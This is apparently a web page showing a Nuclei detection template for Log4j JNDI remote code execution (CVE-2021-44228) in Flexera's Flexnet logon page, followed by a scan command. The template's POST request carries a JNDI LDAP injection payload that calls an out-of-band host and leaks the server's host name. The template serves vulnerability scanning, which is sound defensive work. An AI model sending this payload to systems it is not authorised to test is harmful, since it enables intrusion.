Flexnet - Remote Code Execution (Apache Log4j)

ID: flexnet-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev

Description

Flexnet is susceptible to Log4j JNDI remote code execution.

YAML Source

id: flexnet-log4j-rce

info:
  name: Flexnet - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Flexnet is susceptible to Log4j JNDI remote code execution.
  reference:
    - https://community.flexera.com/t5/Revenera-Company-News/Security-Advisory-Log4j-Java-Vulnerability-CVE-2021-4104-CVE/ba-p/216905
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:flexera:flexnet_publisher:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Flexnet"
    product: flexnet_publisher
    vendor: flexera
  tags: cve,cve2021,rce,jndi,log4j,flexnet,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /flexnet/logon.do HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}/flexnet/logon.do
        Content-Type: application/x-www-form-urlencoded

        action=logon&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&domain=FLEXnet

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output

    extractors:
      - type: kval
        kval:
          - interactsh_ip # Print remote interaction IP in output

      - type: regex
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
        part: interactsh_request

      - type: regex
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
        part: interactsh_request
# digest: 490a00463044022057f65ae9fc25b09412adda58e9da54424187de07774d38a9c212deb2aa428af2022073c32455e472b40cc6bf99ab648e83315ad881e3566179bfc4e3630c82ecf745:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/flexnet-log4j-rce.yaml"

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